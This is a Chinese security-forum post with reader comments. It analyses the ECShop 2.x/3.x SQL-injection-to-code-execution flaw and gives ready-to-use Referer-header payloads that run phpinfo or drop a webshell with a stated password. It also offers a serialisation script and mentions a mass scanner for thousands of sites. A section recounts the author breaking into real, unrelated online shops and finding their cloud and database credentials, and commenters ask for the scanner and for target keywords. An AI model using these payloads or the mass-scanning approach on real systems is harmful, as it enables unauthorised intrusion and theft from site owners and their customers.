用户
搜索
  • TA的每日心情
    擦汗
    2018-10-15 03:52
  • 签到天数: 7 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    12

    主题

    45

    帖子

    308

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2017-3-28

    i春秋签约作者

    发表于 2018-9-19 21:26:09 3319216
    本帖最后由 Laura_小狮子 于 2018-9-23 21:52 编辑

    ECShop全系列版本远程代码执行高危漏洞分析+实战提权

    漏洞概述

      ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行。攻击者无需登录站点等操作,可以直接远程写入webshell,危害严重。

    漏洞评级

      严重

    影响范围

      ECShop全系列版本,包括2.x,3.0.x,3.6.x等。

    漏洞分析

    0x01. SQL注入

      先看 ecshop/user.php:302

    mark

      $back_act 变量来源于 HTTP_REFERER ,可控。

      Ecshop 使用了 php 模版引擎 smarty ,该引擎有两个基本的函数assign()、display()。assign()函数用于在模版执行时为模版变量赋值,display()函数用于显示模版。smarty运行时,会读取模版文件,将模版文件中的占位符替换成assign()函数传递过来的参数值,并输出一个编译处理后的php文件,交由服务器运行。

      在:ecshop/includes/init.php:169文件中创建了Smarty对象cls_template来处理模版文件,对应的文件是includes/cla_template.php,如下图:

    mark

      我们再看 assign函数:ecshop/includes/cls_template.php:70

    mark

      assign函数用于在模版变量里赋值。

      display 函数:ecshop/includes/cls_template.php:100

    mark

      从函数来看,首先会调用 $this->fetch 来处理user_passport.dwt 模板文件,fetch() 函数中会调用 $this->make_compiled 来编译模板。 make_compiled 会将模板中的变量解析,也就是在这个时候将上面 assign 中注册到的变量 $back_act 传递进去了,解析完变量之后返回到 display 函数中。此时 $out 是解析变量后的html内容,判断 $this->_echash 是否在 $out 中,若在,使用 $this->_echash 来分割内容,得到 $k 然后交给 insert_mod 处理。

       user_passport.dwt 模版文件内容:

    mark

      来看看 _echash 是啥,此文件28行:

    mark

      由于 _echash 是固定的,不是随机生成的。(2.7版本的 _echash 值为 554fcae493e564ee0dc75bdf2ebf94ca 而3.x版本的 _echash 值为 45ea207d7a2b68c49582d2d22adf953 )所以 $val 内容可控!

      跟进 insert_mod()函数,此文件1150行:

    mark

      $val 传递进来,先用 | 分割,得到 $para$fun$para 进行反序列操作,insert_$fun 拼接,最后动态调用 $fun($para) 。函数名部分可控,参数完全可控。接下来就是寻找以 insert_ 开头的可利用的函数了,在 ecshop/includes/lib_insert.php 有一个 insert_ads 函数,正好满足要求。

      最后来看动态内容函数库中的 insert_ads() 函数:ecshop/includes/lib_insert.php:136

    mark

      可以看到这里执行了SQL语句,而 $arr['id']$arr['num'] 这两个参数正是我们传进来的数组中的内容,参数可控,而且没有作任何过滤,就造成了SQL注入漏洞。

    payload:
      Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;}

    mark

    其数据库查询语句为:

    SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecsshop2`.`ecs_ad` AS a LEFT JOIN `ecsshop2`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1537322291' AND end_time >= '1537322291' AND a.position_id = '1' ORDER BY rnd LIMIT 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -

    0x02. 远程代码执行

      接着,程序会调用模板类的 fetch() 函数:ecshop/includes/lib_insert.php:215

    mark

      在 user.php 中调用 display ,然后调用 fetch 的时候传入的参数是 user_passport.dwt ,而在此处传入的参数是 $position_style 。向上溯源,发现是 $row['position_style'] 赋值而来:ecshop/includes/lib_insert.php:176

    mark

      而 position_style 是SQL语句查询的结果,结果上面这个SQL注入漏洞,SQL查询的结果可控,也就是 $position_style 可控。要到 $position_style = $row['position_style']; 还有一个条件,就是 $row['position_id'] 要等于 $arr['id']

      并且构造SQL注入时,这段SQL操作 ORDER BY rnd LIMIT 1 部分换行了截断不了,所以需要在id处构造注释来配合num进行union查询。

    mark

      那么id传入 '/*num 传入 */ union select 1,0x272f2a,3,4,5,6,7,8,9,10– - 即可绕过这两个问题。

    数据库查询语句为:SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROMecsshop.ecs_adAS a LEFT JOINecsshop.ecs_ad_positionAS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535678679' AND end_time >= '1535678679' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,0x272f2a,3,4,5,6,7,8,9,10-- -;

    mark

      之后 $position_style 会拼接 'str:' 传入 fetch 函数。

      追踪 fetch() 函数:ecshop/includes/cls_template.php:135

    mark

      因为之前拼接 'str:' 了,所以 strncmp($filename,'str:', 4) == 0 为真,然后会调用危险函数 $this->_eval ,这也就是最终触发漏洞的点。但是参数在传递之前经过了 fetch_str 方法的处理,跟进: ecshop/includes/cls_template.php:281

    mark

      第一个正则会匹配一些关键字后置空,主要看最后的返回正则:
      return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);

      这个正则是将 $source 的值交于 $this->select() 函数处理。例如, $source 的值是 xxx{$abc}xxx ,正则捕获到的 group 1 就是 $abc ,然后就会调用 $this->select("$abc")

    mark

      跟进 select() 函数: 本文件368行

    mark

      当传入的变量的第一个字符是 $ 时,会返回由 php 标签包含变量的字符串,最终返回到 _eval() 危险函数内执行。在返回之前,还调用了 $this->get_var 处理,跟进 get_var本文件548行

    mark

      当传入的变量没有 .$ 时,调用 $this->make_var ,跟进make_var()本文件671行

    mark

      在这里结合 select 函数里面的语句来看, <?php echo $this->_var[' $val '];?> ,要成功执行代码的话, $val 必须要把 [' 闭合,所以payload构造,从下往上构造。 $valabc'];echo phpinfo();//;select 函数进入 get_var 的条件是第一个字符是 $ ,所以payload变成了 $abc'];echo phpinfo();//; 而要进入到 select ,需要被捕获,payload变成了 {$abc'];echo phpinfo();//} ,这里因为payload的是 phpinfo() ,这里会被 fetch_str 函数的第一个正则匹配到,需要变换一下,所以payload变为 {$abc'];echo phpinfo/**/();//} 。到这里为止,php 恶意代码就构造完成了。

      结合之前的SQL注入漏洞,最终执行恶意代码的payload为:

    Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

    0x03. ECShop3.x

      简单讲一下3.x版本吧。

      在ECShop3.x版本中,添加了一个 includes/safety.php 文件,专门用于消除有害数据,它的正则会匹配到 setconcatinformation_schemaselect from 等语句。暂时没有找到可绕过的SQL语句,但是命令执行还是可以绕过的。因为我们之前的payload经过编码,这样就绕过了正则匹配。现在唯一能匹配到的就是 union select 语句,我们可以同时利用 $arr['id']$arr['num'] 两个参数,将 unionselect 分开传递即可绕过正则检测。

    漏洞复现

      本次复现的是ECShop_V2.7.3,打包源码ECShop_V2.7.3_UTF8_release1106.rar(提取码:2yk1)。ecshop2.7.3是在php5.2环境下开发的老网店系统了,现在很多服务器环境已经升级为PHP5.3或php5.4甚至更好的了,那么在php5.3以上版本的服务器环境中运行出现必然出现很多兼容问题,推荐2篇解决文章:12

      phpinfo():

    mark

      webshell:

    mark

      不想本地搭建环境的朋友,推荐两个在线漏洞环境,但是为了更深刻的了解其原理与学习,建议本地搭建调试分析。

      在线环境vulnspy

      在线环境vulhub

    EXP与一个小脚本和批量扫描检测工具

    [hide]

    2.x

    phpinfo():

    Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

    webshell:

    Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}

      会在网站根目录生成1.php,密码:1337

    3.x

    phpinfo():

    Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a

    webshell:

    Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:289:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a

      会在网站根目录生成1.php,密码:1337

    小脚本

      下面给出一个序列化的php脚本(第9个位置就是你想要的):

    <?php
    $arr=array('num'=>'*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4575634768774A79776E50443977614841675A585A686243676B58314250553152624F546C644B543867506963702729293B2F2F7D787878,10-- -','id'=>'\'/*');
    echo serialize($arr);
    ?>

    批量扫描检测工具

      一款采用C#开发的扫描工具,专门扫描EcShop < 4.0 远程代码执行漏洞,1万个网站只需要30秒左右就能完成了。

    EcShop_RCE_Scanner

    mark

      根据大家的反应,貌似这个软件不是很好用,有点问题,更新了通知大家。大家可以去找poc改改就达到类似的效果了。
    [/hide]

    漏洞修复

      目前我们分析下载最新版的ECShop 4.0里对这个漏洞进行修复:

      看到 ecshop4/ecshop/includes/lib_insert.php

    mark

      可以看到,将传递进来的 $arr[id]$arr[num] 强制转换成整型,这样就没法利用这个漏洞了。

      另外我们注意到官方并没有发布针对老版本的(2.x和3.x)的独立修复补丁,相关老版本的用户可参考ECShop 4.0代码来修复或者直接升级到ECShop 4.0。

    实战与提权

      随便找了个2.7.3和3.0.0的站。直接用exp就能getshell,像本地搭建的一样。

      最近听老师说搞安全的最高境界其实是社会工程学。我在进数据库看到加密后的密码,知道加密方式后,搞了很久还是解不出来后台密码,室友在旁边花了几分钟当场把密码猜出来。所以说,最牛逼的是一口能猜出密码,哪还要搞那么多花里胡哨的东西哦~

    mark

      有新站:

    mark

      有老站:

    mark

      新站刚建就爆漏洞,老站还在更新内容,有点意思。

      直接把很重要的东西写在一个稍微隐蔽点的地方,还是被我翻到了,比如阿里云账号密码,数据库账号密码。

    mark

      而且他的密码还都几乎都是是弱口令,真是让人深思。

    关于提权

      哈哈,暂时没找到方法。小白也才开始学提权,说出来其实是想有大佬能指点一二,等提权了再更新这一部分吧。

      不能执行命令,有读写权限。

    mark

    mark

    参考资料

    http://ringk3y.com/2018/08/31/ecshop2-x代码执行

    ECShop 0day 的堕落之路

    关于ECShop前台注入和getshell漏洞的一些思考

    shadow15 发表于 2018-9-19 23:13
    我说的是ecshop3.6的不能执行代码,3.6的实战截图有么

    我的理解:按照你看的文章来说,php版本问题是对3.0.0来说的。至于3.6.0的问题,我看的是阿里云安全团队师傅说的他们测试了有漏洞,但3.6.0确实强制转换int型了,具体方法我就不知道了,我也很菜,不敢说阿里大佬不对
    使用道具 举报 回复
    Laura_小狮子 发表于 2018-9-20 11:45
    我的理解:按照你看的文章来说,php版本问题是对3.0.0来说的。至于3.6.0的问题,我看的是阿里云安全团队 ...

    3.6的最新版本确实修复了,但是最新的次版本没有修复,参考p神的vulhub。
    使用道具 举报 回复
    Laura_小狮子 发表于 2018-9-19 22:30
    这是实战的:

    [md]![mark](http://oxwj17r3u.bkt.clouddn.com/blog/180919/jm5ElKDhFF.png?imageslim)[ ...

    我说的是ecshop3.6的不能执行代码,3.6的实战截图有么
    使用道具 举报 回复
    项少龙 发表于 2018-9-20 15:02
    测试了一下批量工具,400个链接,保存shell到文件的功能失效,保存没权限功能正常,楼主有空改改,出新版本 ...

    哥们能共享一份不?手头没有编译环境
    使用道具 举报 回复
    项少龙 发表于 2018-9-20 15:02
    测试了一下批量工具,400个链接,保存shell到文件的功能失效,保存没权限功能正常,楼主有空改改,出新版本 ...

    不是我的工具有更新我就给你说
    使用道具 举报 回复
    shadow15 发表于 2018-9-19 22:16
    论坛某表哥也发了ecshop的分析,看了下,确实3.6就已经使用inval()了,而且对php有版本限制,高于5.3代码就 ...


    这是实战的:

    mark

    使用道具 举报 回复
    Laura_小狮子 发表于 2018-9-20 21:26
    大佬給下具体的演示过程,学习一波。

    反序列化的 S 类型,可以传递十六进制数据,在反序列化的时候会给转化成字符
    使用道具 举报 回复
    猴子派来的猴子 发表于 2018-9-20 19:43
    用escaped binary string类型去反序列化也可以bypass这个waf

    大佬給下具体的演示过程,学习一波。
    使用道具 举报 回复
    发表于 2018-9-19 22:08:30
    支持分享思路
    使用道具 举报 回复
    论坛某表哥也发了ecshop的分析,看了下,确实3.6就已经使用inval()了,而且对php有版本限制,高于5.3代码就执行不了
    使用道具 举报 回复
    66666666666
    使用道具 举报 回复
    发表于 2018-9-20 11:10:55
    学习一下~
    使用道具 举报 回复
    发表于 2018-9-20 11:30:33
    学习。。。。
    http://www.anonymou5.com
    使用道具 举报 回复
    发表于 2018-9-20 12:08:23
    本帖最后由 项少龙 于 2018-9-20 13:40 编辑

    请问批量工具传的马密码多少?
    e,测试了一下, 密码是文件名
    使用道具 举报 回复
    发表于 2018-9-20 14:00:50
    项少龙 发表于 2018-9-20 12:08
    请问批量工具传的马密码多少?
    e,测试了一下, 密码是文件名

    正准备给你发百度云
    使用道具 举报 回复
    发表于 2018-9-20 14:01:39
    水泡泡 发表于 2018-9-20 13:43
    3.6的最新版本确实修复了,但是最新的次版本没有修复,参考p神的vulhub。

    谢谢水泡泡师傅的解释~
    使用道具 举报 回复
    发表于 2018-9-20 14:36:10
    大佬有关键字让我采集一下嘛?
    使用道具 举报 回复
    工具需要编译?有木有编译好的?求一个~
    使用道具 举报 回复
    123下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册